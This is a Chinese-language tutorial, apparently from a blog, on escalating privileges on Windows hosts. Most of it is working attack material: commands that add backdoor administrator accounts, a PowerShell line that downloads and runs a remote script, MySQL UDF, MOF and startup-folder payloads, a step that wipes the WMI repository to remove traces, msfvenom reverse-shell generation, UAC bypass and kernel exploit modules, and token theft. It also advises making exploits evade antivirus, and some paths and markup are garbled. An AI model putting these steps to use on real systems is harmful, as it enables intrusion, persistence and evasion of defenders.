Windows 最新提权教程

提权基础
权限划分
Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。
Power Users:高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。
Users:普通用户组,这个组的用户无法进行有意或无意的改动。
Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
Everyone:所有的用户,这个计算机上的所有用户都属于这个组。
基础命令
$ query user # 查看用户登陆情况 $ whoami # 当前用户权限 $ set # 环境变量 $ hostname # 主机名 $ systeminfo # 查看当前系统版本与补丁信息 $ ver # 查看当前服务器操作系统版本 $ net user # 查看用户信息 $ net start # 查看当前计算机开启服务名称 $ netstat -ano # 查看端口情况 $ netstat -ano|find “3389” # 查看指定端口 $ tasklist # 查看所有进程占用的端口 $ taskkil /im xxx.exe /f # 强制结束指定进程 $ taskkil -PID pid号 # 结束某个pid号的进程 $ tasklist /svc|find “TermService” # 查看服务pid号 $ wmic os get caption # 查看系统名 $ wmic product get name,version # 查看当前安装程序 $ wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息 $ wmic qfe get Description,HotFixID,InstalledOn | findstr /C:”KB4346084″ /C:”KB4509094″ # 定位特定补丁 # 添加管理员用户 $ net user username(用户名) password(密码) /add # 添加普通用户 $ net localgroup adminstrators username /add # 把普通用户添加到管理员用户组 # 如果远程桌面连接不上可以添加远程桌面组 $ net localgroup “Remote Desktop Users” username /add
系统漏洞提权
系统漏洞漏洞提权一般就是利用系统自身缺陷,用来提升权限。通常利用systeminfo查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。

查询补丁信息
WinSystemHelper

:检查可利用的漏洞。该工具适合在任何

Windows

服务器上进行已知提权漏洞的检测

上传WinSysHelper.bat、explt2003.txt、expgt2003.txt,运行bat查看结果
然后在可利用的Exp中任意下载一个并执行即可
$ WinSysHelper.bat
Sherlock

:在Windows下用于本地提权的PowerShell脚本

分析漏洞出漏洞后利用对应Exp即可

启动Powershell $ powershell.exe -exec bypass # 本地加载脚本 $ Import-Module Sherlock.ps1 # 远程加载脚本 $ IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1’) # 检查漏洞,Vulnstatus为Appears Vulnerable即存在漏洞 $ Find-AllVulns

提权辅助平台
漏洞编号查询:根据补丁信息查找漏洞编号
Exp查询:根据补丁信息查找Exp
Windows-Kernel-Exploits:Windows平台提权漏洞集合
提权步骤
除了需要注意每种漏洞所适用的详细系统版本及位数外,实战中还需要事先免杀并调试好Exp,否则可能有蓝屏等风险。

先运行systeminfo,并将其中的修补程序内容复制到提权辅助平台 – Exp查询进行查询Exp。如:

然后根据可选补丁编号以及目标系统,选择对应的Exp下载运行即可。
另外还需要注意提权Exp的运行方式,一般有以下几种:
直接执行exe程序,成功后会打开一个cmd窗口,在新窗口中权限就是system
在WebShell中执行exe程序,执行方式为xxx.exe whoami,成功后直接执行命令,再修改命令内容,可以执行不同的命令
利用MSF等工具
C++源码,Python脚本,PowerShell脚本等特殊方式
数据库提权
MySQL
前提:拿到Root密码
注意:
MySQL5.7以后secure-file-priv的问题
MySQL5.7后,系统的用户表mysql.user中的密码字段已从password修改为authentication_string
UDF提权
原理:通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd
利用条件
系统版本:Win2000、WinXP、Win2003
具有对MySQL的insert/delete权限的账号,用以创建和抛弃函数。最好是root,或具备root账号所具备的权限的其它账号。
UDF木马提权
已有Webshell的情况下可以直接上php” style=”box-sizing:border-box;color:#3194D0;text-decoration-line:none;background-color:transparent;”>UDF马
UDF手工提权
获取UDF:将

sqlmapdataudf\
中找到对应系统的

dll_
文件,复制到

sqlmapextracloak\
,输入以下命令即可得到

SQLMap自带的shell及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,需要利用SQLMap自带的解码工具cloak.py进行解码
$ python cloak.py -d -i lib_mysqludf_sys.dll_
寻找目录
MySQL5.1,UDF导出到MySQL安装目录libplugin目录(该目录默认不存在,需手动创建)
— 寻找MySQL目录 mysql> select @@basedir;
mysql> show variables like ‘%plugin%’; — 利用NTFS ADS创建目录,有Webshell的情况下可直接菜刀创建 mysql> select ‘123’ into dumpfile ‘C:\phpStudy\MySQL\lib::$INDEX_ALLOCATION’;
mysql> select ‘123’ into dumpfile ‘C:phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION’;
导出UDF:直接上传没有权限,可通过MySQL语句写入
— 在【本地】以二进制读取UDF并转换十六进制 mysql> select hex(load_file(“C:\udf.dll”)) into dumpfile ‘C:\myudf.txt’; — 在【靶机】写入UDF,这里将UDF文件命名为myudf.dll mysql> select unhex (‘十六进制UDF’) into dumpfile “C:\Program Files\MySQL\lib\plugin\myudf.dll”; — 出现secure-file-priv相关报错,需要修改mysql配置文件my.ini或mysql.cnf — secure_file_priv=/ # 允许导入到任意路径
利用UDF创建用户自定义函数
mysql> create function sys_eval returns string soname ‘myudf.dll’;
利用函数执行命令
mysql> select sys_eval(“whoami”)
MOF提权
MOF提权条件
Windows 2003及以下版本
MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
MOF提权原理
MOF文件每五秒就会执行,而且是系统权限,通过MySQL使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次上传的MOF。MOF当中有一段是vbs脚本,可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

nullevt.mof的利用代码如下:

pragma namespace(“\\.\root\subscription”)

instance of __EventFilter as $EventFilter { EventNamespace = “Root\Cimv2”; Name = “filtP2”; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa "Win32_LocalTime" ” “And TargetInstance.Second = 5”; QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2”; ScriptingEngine = “JScript”;

执行命令,新建用户naraku ScriptText = “var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user naraku 123456 /add")”;

};
instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter;
};
提权步骤
将上面的脚本上传到有读写权限的目录下,如:C:/xxx/

使用sql语句将文件导入到

c:/windows/system32/wbem/mof/

这里不能使用outfile,因为会在末端写入新行,而MOF在被当作二进制文件时无法正常执行,所以需要用dumpfile导出一行数据。
select load_file(“C:/xxx/test.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
当我们成功把MOF导出时,mof就会直接被执行,且5秒创建一次用户
痕迹清除
提权成功后,就算被删号,MOF也会在五秒内将原账号重建,如果要删除入侵账号可以执行以下命令:
$ net stop winmgmt $ del c:/windows/system32/wbem/repository $ net start winmgmt
然后重启服务即可
启动项提权
已知root密码
file_priv不为null
create table a (cmd text); insert into a values (“set wshshell=createobject (“”wscript.shell””) ” ); insert into a values (“a=wshshell.run (“”cmd.exe /c net user naraku 123456 /add””,0) ” ); insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup administrators naraku /add””,0) ” ); select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs”;
MSSQL
前提:拿到SA密码
利用方式
传统

xp_cmdshell
利用

xp_cmdshell被删如何恢复
借助COM组件执行命令

借助CLR执行命令(类似MySQL UDF)

本地Hash注入+端口转发/Socks实现无密码连接目标内网MSSQL

利用Windows访问令牌实现无密码连接目标内网MSSQL

Oracle
通常情况下Oracle服务的运行权限都非常高
MSF下各类自动化利用模块
通常情况下,Oracle服务的运行权限都比较高
MSF提权
注意以下命令执行时的状态
$:Linux命令行下
msf:进入MSF控制台
meterpreter:进入某个session

生成木马并放入靶机 $ msfvenom -p windows/meterpreter_reverse_tcp lhost= lport= -f exe -o /tmp/win.exe # 攻击机监听 $ msfconsole msf> use exploit/multi/handler msf> set payload windows/meterpreter_reverse_tcp msf> set lhost msf> set lport msf> exploit # 靶机运行,此时攻击机MSF会接收到反弹的Shell,在MSF中运行shell命令 meterpreter> shell C:UsersNarakuDesktop>whoami

naraku-win7naraku # 出现中文乱码可运行 # C:UsersNarakuDesktop>chcp 65001
GetSystem
直接运行getsystem
meterpreter> getsystem
BypassUAC
相关脚本
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
meterpreter> background # 后台session msf> use exploit/windows/local/bypassuac msf> set SESSION # 后台session时会返回session_id,如不清楚可以使用命令sessions -l msf> run
请输入图片描述

内核提权
这里查询补丁跟前面systeminfo一样,配合提权辅助平台 – 漏洞编号查询可利用漏洞编号

查询补丁 meterpreter> run post/windows/gather/enum_patches

[+] KB2999226 installed on 11/25/2020 [+] KB976902 installed on 11/21/2010
也可以使用local_exploit_suggester查询哪些Exp可以利用。

查询Exp msf> use post/multi/recon/local_exploit_suggester msf> set LHOST msf> set SESSION msf> run

img

这里将上一步查询到的Exp打了一遍发现都没有成功,回头一看发现原来是系统位数的原因。这里的Meterpreter运行在32位,而系统位数为64位。
img

因此需要做进程迁移,将Meterpreter迁移到一个64位的进程。
meterpreter> sysinfo # 查看位数 meterpreter> ps # 查看进程 meterpreter > migrate # 进程迁移
img

重复前面使用local_exploit_suggester那一步,可以看到现在查询的是64位的Exp
img

这里选择选个比较新的CVE_2019_1458
msf> use exploit/windows/local/cve_2019_1458_wizardopium msf> set SESSION msf> run meterpreter> getuid Server username: NT AUTHORITYSYSTEM
img

令牌操纵
incognito假冒令牌
meterpreter> use incognito meterpreter> list_tokens -u # 查看可用的token meterpreter> impersonate_token ‘NT AUTHORITYSYSTEM’ # 假冒SYSTEM token meterpreter> execute -f cmd.exe -i –t # -t使用假冒的token 执行 meterpreter> rev2self # 返回原始token
steal_token窃取令牌
meterpreter> ps # 查看进程 meterpreter> steal_token # 从指定进程中窃取token meterpreter> drop_token # 删除窃取的token
SMB系列RCE
基本绝迹

MS08-067
MS17-010
赞 (0) 赏 分享

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发